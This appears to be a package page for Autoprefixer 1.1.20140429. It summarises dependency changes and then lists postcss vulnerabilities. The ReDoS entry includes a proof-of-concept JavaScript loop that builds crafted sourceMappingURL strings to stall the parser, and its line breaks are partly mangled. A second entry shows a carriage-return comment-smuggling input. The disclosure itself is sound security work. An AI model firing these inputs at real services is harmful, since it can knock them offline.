The Autoprefixer package, a tool for automatically adding vendor prefixes to CSS rules, saw a minor update between versions 1.1.20140410 and 1.1.20140429. Both versions share the same core functionality: parsing CSS and applying vendor prefixes based on data from the "Can I Use" website, ensuring cross-browser compatibility. Developers can leverage Autoprefixer to simplify their CSS authoring process, eliminating the need to manually manage prefixes for different browser engines.
Key dependencies like postcss for CSS parsing and fs-extra for file system operations remained consistent between the releases, using versions ~0.3.4 and ~0.8.1 respectively. However, there are some notable differences in the devDependencies. Version 1.1.20140429 updated the should testing library to version 3.3.1 from 3.3.0. More significantly, the browserify version was bumped from 3.39.0 to 3.44.2. These updates likely reflect improvements or bug fixes in the testing and bundling processes used by the Autoprefixer developers. While the core functionality remains the same, the updated browserify could offer improved build times or compatibility with newer JavaScript features for contributing developers. For end-users, the updated dev dependencies shouldn't affect the performance of the library. Autoprefixer makes web development easier and more efficient, empowering developers to keep up with evolving web standards.
All the vulnerabilities related to the version 1.1.20140429 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.